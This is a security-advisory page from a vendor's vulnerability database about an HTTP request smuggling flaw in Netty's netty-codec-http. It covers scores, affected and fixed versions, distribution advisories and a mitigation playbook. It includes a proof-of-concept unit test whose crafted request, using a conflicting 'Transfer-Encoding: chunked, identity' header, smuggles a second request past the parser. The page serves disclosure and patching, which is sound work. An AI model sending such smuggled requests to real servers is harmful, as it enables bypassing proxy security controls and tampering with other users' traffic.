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GHSA-38f8-5428-x5cv netty-codec-http

MEDIUM

GHSA-38f8-5428-x5cv is a medium-severity (CVSS 6.5) CWE-444 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below.

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Also known asCVE-2026-42585
Published
May 7, 2026
Updated
Sep 10, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-38f8-5428-x5cv.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-38f8-5428-x5cv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
io.netty:netty-codec-httpio.netty:netty-codec-http

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.

Details

Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length

" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "

A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.

PoC

The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Impact

HTTP Request Smuggling: Attacker injects arbitrary HTTP requests

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.netty:netty-codec-http4.2.0.Alpha1&&< 4.2.13.Final4.2.13.Finalio.netty:netty-codec-http:4.2.13.Final
Mavenio.netty:netty-codec-httpall versions4.1.133.Finalio.netty:netty-codec-http:4.1.133.Final

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-38f8-5428-x5cv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-38f8-5428-x5cv can be triaged on real exposure rather than presence alone.

Tailored to GHSA-38f8-5428-x5cv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

This Moderate flaw in Netty's HTTP codec allows for request smuggling attacks due to improper parsing of malformed Transfer-Encoding headers. An attacker could exploit this to bypass security controls, potentially leading to unauthorized access to sensitive information or manipulation of web traffic in Red Hat…

ProductFixed inAdvisory
Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el7eapRHSA-2026:53644
Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 8eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el8eapRHSA-2026:53645
Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 9eap7-activemq-artemis-0:2.16.0-22.redhat_00057.1.el9eapRHSA-2026:53646
Red Hat JBoss Enterprise Application Platform 8.1.7.GAio.netty/netty-codec-http:4.1.135.Final-redhat-00001RHSA-2026:49701
Red Hat JBoss Enterprise Application Platform 8.1 for RHEL 10eap8-eap-product-conf-parent-0:801.7.1-1.GA_redhat_00001.1.el10eapRHSA-2026:49700
UbuntuMEDIUM

Frequently Asked Questions

### Summary Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. ### Details Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length " If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. " A possible
O3 Security · Impact-Aware SCA

Is GHSA-38f8-5428-x5cv in your dependencies?

O3 Security finds GHSA-38f8-5428-x5cv across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-38f8-5428-x5cv: netty-codec-http | O3 Security